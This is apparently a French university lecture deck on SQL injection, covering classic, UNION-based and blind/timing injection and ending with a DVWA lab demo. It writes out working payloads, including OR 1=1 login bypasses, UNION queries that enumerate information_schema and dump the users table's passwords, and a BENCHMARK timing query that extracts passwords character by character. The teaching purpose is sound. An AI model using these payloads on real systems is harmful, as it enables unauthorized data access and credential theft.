Vous êtes sur la page 1sur 29

Vulnérabilités logicielles

Injection SQL

Chamseddine Talhi
École de technologie supérieure (ÉTS)
Dép. Génie logiciel et des TI

1
Plan
• SQL
• Injection SQL
• Injections SQL standards
• Injections SQL de requêtes UNION
• Injections SQL aveugles
• Demo

2
Yosr Jarraya, ÉTS
SQL
• SQL signifie Structured Query Language
– Langage utilisé pour accéder / communiquer avec bases de
données
• Langages standards ANSI et ISO
• Les instructions SQL peuvent effectuer les tâches
suivantes sur une base de données (BD):
– Récupération des données
– Insertion de nouvelles données
– Modification (mise à jours) des données existantes.
– Suppression des enregistrements
• Plusieurs standards, plusieurs produits BD:
– Les mêmes principaux mots clés pour les requêtes (SELECT,
UPDATE, INSERT…etc.)
– Chaque BD peut avoir ses propres extensions propriétaires
3
Yosr Jarraya, ÉTS
SQL
book_Id title price
Pub_Id Pub_name
1002012 SQL injection 100 $
1 Springer
1012012 Internet Security 110 $
2 IEEE

• Une base de données relationnelle contient en général une ou


plusieurs tables (liées ou pas) et qui sont identifiables par leurs
noms.
• Chaque table contient des colonnes et des enregistrements.
• En général les enregistrement sont identifiables en se basant sur
une ou plusieurs colonnes spécifiques qui sont les clés (index) de
la table.

4
Yosr Jarraya, ÉTS
SQL
• SQL Data Definition Language (DDL)
– Permet de construire la base de données en créant ou supprimant des
tables, spécifier les index des tables, les liens et/ou contraintes entre
tables, etc.
– Exemple CREATE TABLE, ALTER TABLE, DROP TABLE.
• SQL Data Manipulation Language (DML)
– Manipuler les données dans la base de données
• Presque toutes les bases de données SQL se basent sur
le modèle relationnelle des données:
– SGBDR: Système de Gestion de Bases de Données Relationnelles
– Les métadonnées, qui sont les données sur la base de données,
doivent être stockeés dans la base de données elle-même avec les
données utilisateur
– Par conséquent, la structure de base de données peut aussi être lue et
modifié avec des requêtes SQL. => Critique

5
Yosr Jarraya, ÉTS
Injection SQL
Vulnérabilité #1 Injection – Attaque -
Account Summary
Account:
Account:
"SELECT * FROM accounts

Knowledge Mgmt
Communication

Legacy Systems
Administration

Bus. Functions
Application Layer

Human Resrcs
E-Commerce
Transactions

Web Services
WHERE
SKU:acct=‘’ OR 1=1--’"

Directories
Acct:5424-6066-2134-4334

Accounts

Databases
Finance

Billing
HTTP SQL DB Table
HTTP Acct:4128-7574-3921-0192
response
query
request  Acct:5424-9383-2039-4029
APPLICATION 

ATTACK
   Acct:4128-0004-1234-0293
Custom Code 1. Application presents a form to
the attacker
2. Attacker sends an attack in the
form data
App Server
3. Application forwards attack to
Web Server the database in a SQL query
Hardened OS 4. Database runs query
Network Layer

containing attack and sends


encrypted results back to
Firewall
Firewall

application
5. Application decrypts data
as normal and sends results
to the user
Source: http://www.owasp.org/index.php/Top_10 6
MGR850
Injection SQL
• La capacité d'injecter des commandes
SQL dans le moteur de base de données
grâce à une application existante
• Causes des injections SQL :
– Une requête SQL générée en composant
« naïvement » les données reçues des
utilisateurs d’une application.
– Aucune vérification n’est effectuée sur les
données OU
– Vérification médiocre
7
Yosr Jarraya, ÉTS
Injection SQL
• Les objectifs des injections SQL peuvent
être multiples:
– Accéder à des données auxquelles on ne
devrait pas avoir accès,
– Modifier des données,
– Effacer des données,
– Lire/écrire sur le système de fichier,
– Exécuter des commandes systèmes.

8
Yosr Jarraya, ÉTS MGR850 - A12
Injection SQL
• Préparation de l’attaque:
– Identifier des paramètres injectables
– Identifier le type et la version du SGBDR
– Déterminer le schéma de la base de données
(noms de table, noms de colonne, types de
données des colonnes…etc.)

9
Yosr Jarraya, ÉTS
Injection SQL
• Types d’injection SQL:
– Injections SQL classiques
– Injections SQL de requêtes d’union
– Injections SQL aveugles

10
Yosr Jarraya, ÉTS
Injection SQL
• 1ère étape: Comprendre quand l’application se connecte à un
serveur de base de données.
• Exemples typiques de connexion à une BD:
o Formulaires d'authentification: il ya des chances que les informations
d'identification sont comparées à une BD qui contient tous les noms
d'utilisateur et mots de passe
o Moteurs de recherche: les chaînes présentées par l'utilisateur peuvent
être utilisées dans une requête SQL qui extrait tous les documents
pertinents à partir d'une BD
o Sites de commerce électronique: les produits et leurs caractéristiques
(prix, description, disponibilité, ...) sont très susceptibles d'être stockés
dans une BD

11
Chamseddine Talhi, ÉTS
Injection SQL
• 2ère étape: Préparer une liste de tous les champs de saisie dont
les valeurs pourraient être utilisées dans l'élaboration d'une
requête SQL.
• Stratégie gagnante: Tester chaque champ séparément
alors que les valeurs de toutes les autres variables doivent
rester constantes.
• Permet d’identifier avec précision les paramètres qui sont
vulnérables et ceux qui ne le sont pas.
• Essayer d’interférer avec la requête et provoquer la
génération d’erreurs.

12
Chamseddine Talhi, ÉTS
Injection SQL
Comment détecter la présence de vulnérabilités?
• D’abord tester les injections classiques!
• Test de base:
• Ajout d'une apostrophe (') ou d’un point-virgule (;) aux champs sous test
o (') : utilisée comme une marque de fin de chaîne de caractères dans une
instruction SQL.
o (;) : utilisé pour marquer la fin d’une instruction SQL.
• En l’absence de filtres, ces caractères peuvent mener à l’exécution de
requêtes incorrectes et/ou générer des erreurs

Les hackers adorent les messages d’erreurs 

13
Chamseddine Talhi, ÉTS
Injection SQL
Comment détecter la présence de vulnérabilités?
Messages d’erreurs « généreux »

Malheureusement, les applications web sont souvent


beaucoup moins bavardes 

« Heureusement », les techniques d’injection aveugle


existent

14
Chamseddine Talhi, ÉTS
Injections SQL standards
Requête SQL en arrière plan:

Une attaque possible:

Dans quelques systèmes, la 1ère ligne retournée par cette


requête correspond à un utilisateur administrateur!
15
Chamseddine Talhi, ÉTS
Injections SQL standards
Une requête SQL plus intelligente 

• Deux problèmes: les parenthèses et la fonction de hachage MD5!

• Solutions
o Les parenthèses: On s’arranger pour les respecter
o MD5: On s’arranger pour que SQL l’ignore tout simplement!
/* ou bien # ou bien --
Syntax SQL commentaire

16
Chamseddine Talhi, ÉTS
Injections SQL standards
Problème: Parfois, le code d'authentification vérifie que le
nombre d’enregistrements retournés est exactement égal à 1

Solution:

Mais comment avoir les autres enregistrements?

17
Chamseddine Talhi, ÉTS
Injections SQL de requêtes UNION

Peut-on avoir accès aux données d’une table autre que celle
visée par la requête?

Solution: Utiliser l’opérateur d’union « UNION »


1 ' and 2=3 UNION SELECT
(SELECT GROUP_CONCAT(column_name) FROM
information_schema.columns
WHERE table_name='users'),1 #

18
Chamseddine Talhi, ÉTS
Injections SQL aveugle
Comment détecter que la page est vulnérable?
Une page web http://newspaper.com/items.php?id=2

Requête (possible) exécutée en arrière plan SELECT title, description, body FROM items WHERE ID = 2

Es-tu vulnérable BD? http://newspaper.com/items.php?id=2 and 1=2


Pas de réponse!

=> Potentiellement vulnérable

Es-tu vraiment vulnérable BD? http://newspaper.com/items.php?id=2 and 1=1


La même réponse que http://newspaper.com/items.php?id=2
=> Surement vulnérable

On a de la chance! On sait faire la différence entre une


réponse valide et une réponse non valide! 19
Chamseddine Talhi, ÉTS
Injections SQL aveugle
Soit la requête exécutée en arrière plan:

Approche: Changer le code ASCII jusqu’à l’obtention d’un


résultat => passer au caractère suivant 20
Chamseddine Talhi, ÉTS
Injections SQL aveugle
Quelques fonctions utilisées:
• SUBSTRING (texte, debut, longueur): retourne une sous chaine de caractère
débutant a la position « debut» du texte et de longueur « longueur». Si « debut» est
supérieure à la longueur du texte, la fonction retourne la valeur nulle.
• ASCII (char): retourne le code ASCII du caractère en paramètre « char ». Si le
caractère est 0, la valeur null est retournée.
• LENGTH (text):donne la longueur en nombre de caractères de la chaine en
paramètre « text».

21
Chamseddine Talhi, ÉTS
Injections SQL aveugle
Mais si la page web est vraiment opaque!!!
Timing attack : des fonctions qui consomment du temps!
Example: combiner:

• Injection de SELECT IF(expression, op1, op2)


• Si expression est évaluée à true alors op1 s’exécute
• BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')) exécute
5000000 fois la fonction ENCODE.
• En fonction de la performance du SGBDR et de sa charge, les
répétitions devrait influencer le temps de réponse du serveur
Example d’utilisation:
1 UNION SELECT IF
(SUBSTRING(user_passord,1,1) = CHAR(50),
BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),
null)
FROM users WHERE user_id = 1;

Si la réponse du serveur à cette requête prend beaucoup de temps, l’attaquant


présumerait que le premier caractère du password pour user_id = 1 est
effectivement le caractère ‘2’.
22
Chamseddine Talhi, ÉTS
Outils
SQLDumper: Outil automatique

23
Chamseddine Talhi, ÉTS
Démo
Configuration
• XAMPP
• XAMPP est un kit pour l’installation du serveur web
Apache avec le système de base de données MySQL et le
support des script PHP et Perl.
• http://www.apachefriends.org/en/xampp.html
• DVWA
• Une application web PHP / MySQL vulnérable.
• Principal objectif est d’aider à la compréhension et à la
pratique de la sécurité des applications Web.
• http://www.dvwa.co.uk/

24
Yosr Jarraya, ÉTS
Démo: Injection SQL

25
Yosr Jarraya, ÉTS
Démo: Injection SQL

• Requête SQL en arrière plan:

• Attaque sur le champs « User ID ».

26
Yosr Jarraya, ÉTS
Test Injection SQL
http://127.0.0.1/dvwa/index.php admin, password
%%%%%%%%%%%%%%%%TEST1%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1+1 ou bien 1%2b1
%%%%%%%%%%%%%%%TEST2%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' or 1=1 #
%%%%%%%%%%%%%%TEST3%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and '1'='2' #
%%%%%%%%%%%%%%%TEST4%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and '1'='2' union select 1 #
1 ' and 1=2 union select 1,2 #
%%%%%%%%%%%%%%TEST5%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select database(),user() #
%%%%%%%%%%%%%%TEST6%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where
table_schema=database()),1 #
%%%%%%TEST7%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(table_name) from information_schema.tables where table_schema!='mysql' and
table_schema !='information_schema'),1 #
%%%%%%TEST8%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(column_name) from information_schema.columns where table_name='users'),1 #
%%%%%%TEST9%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select password from users where first_name='admin'),1 #
%%%%%%TEST10 %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
1 ' and 2=3 union select (select group_concat(user_id,0x2c,first_name,0x2c,last_name,
0x2c,user,0x2c,password,0x2c,avatar,0x0a) from users),1 #

27
Yosr Jarraya, ÉTS
Références
• http://dev.mysql.com/doc/refman/5.6/en/sq
l-syntax.html

28
Yosr Jarraya, ÉTS
29

Vous aimerez peut-être aussi